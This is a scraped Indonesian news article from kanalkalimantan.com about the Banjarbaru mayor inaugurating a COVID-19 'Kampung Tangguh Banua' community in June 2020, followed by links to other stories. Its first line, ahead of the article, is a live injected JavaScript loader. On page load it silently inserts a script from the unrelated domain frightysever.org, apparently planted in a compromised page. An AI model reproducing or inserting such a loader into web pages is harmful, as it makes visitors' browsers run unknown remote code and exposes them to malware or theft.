(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Berbagai upaya dalam memutus mata rantai penyebaran Covid-19 terus digalakan. Seperti halnya, membentuk sebuah kawasan lingkungan yang disebut sebagai Kampung Tangguh Banua.
Wali Kota Banjarbaru H Nadjmi Adhani, Jumat (19/6/2020) pagi, meresmikan Kampung Tangguh Banua (KTB) di Perum Asabri RT 45 RW 09 Kelurahan Syamsudin Noor, Landasan Ulin.
Selain menangkal penyebaran virus, Kampung Tangguh Banua juga bertujuan membangkitkan kesadaran masyarakat dan membangun semangat kebersamaan waspada dalam menghadapi penyebaran Covid-19.
Menurut Wali Kota Banjarbaru, Kampung Tangguh akan terwujud manakala aparat dan masyarakat mengutamakan kebersamaan.
“Lurah, Babinsa, Babinkamtibmas, surveilance kesehatan, Forum RTRW dan LPM harus berperan aktif dan mendahulukan kebersamaan sesuai peran masing-masing dalam menangani penyebaran Covid-19,†pesan Wali Kota.
Nadjmi berharap Kampung Tangguh ini menjadi percontohan dan berhasil dalam penanganan penyebaran Covid-19, sehingga bisa diduplikasi di wilayah lainnya di Banjarbaru.
Wali Kota Banjarbaru H Nadjmi Adhani meresmikan Kampung Tangguh Banua (KTB) di Perum Asabri RT 45 RW 09 Kelurahan Syamsudin Noor, Landasan Ulin. foto: humpro banjarbaru
Sementara itu, Kapolres Banjarbaru AKBP Doni Hadi Santoso mengatakan, pihaknya telah mencanangkan enam wilayah pilot project Kampung Tangguh Banua. Empat diantaranya ada di kota Banjarbaru yaitu komplek Hero Puskopat Kelurahan Guntung Manggis, Kampung Pejabat Kelurahan Loktabat Selatan, Kampung Iwak Kelurahan Mentaos, dan Komplek Asabri Kelurahan Syamsudin Noor.
Di beberapa pojok jalan terpasang poster protokol Covid-19, tempat cuci tangan, juga papan pengumuman data sebaran Covid-19 di wilayah mereka.
Wali Kota beserta Dandim 1006 dan Kapolres Banjarbaru melakukan pelepasan bibit ikan lele di kolam warga. foto: humpro banjarbaru
Setelah peresmian Kampung Tangguh Banua, Wali Kota beserta Dandim 1006 dan Kapolres Banjarbaru melakukan pelepasan bibit ikan lele di kolam warga, mencabut singkong dan berkeliling mengunjungi rumah keluarga pasien positif Covid-19 yang sedang melakukan isolasi dan berkomunikasi dengan salah satu anggota keluarga.
Wali Kota bersyukur karena warga berperan aktif membantu pasien yang melakukan isolasi mandiri dengan membantu memenuhi kebutuhan dasar yang diperlukan.
“Sehingga pasien yang melakukan isolasi mandiri di rumah tidak perlu keluar rumah untuk memenuhi kebutuhan sehari-hari,†kata Nadjmi. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.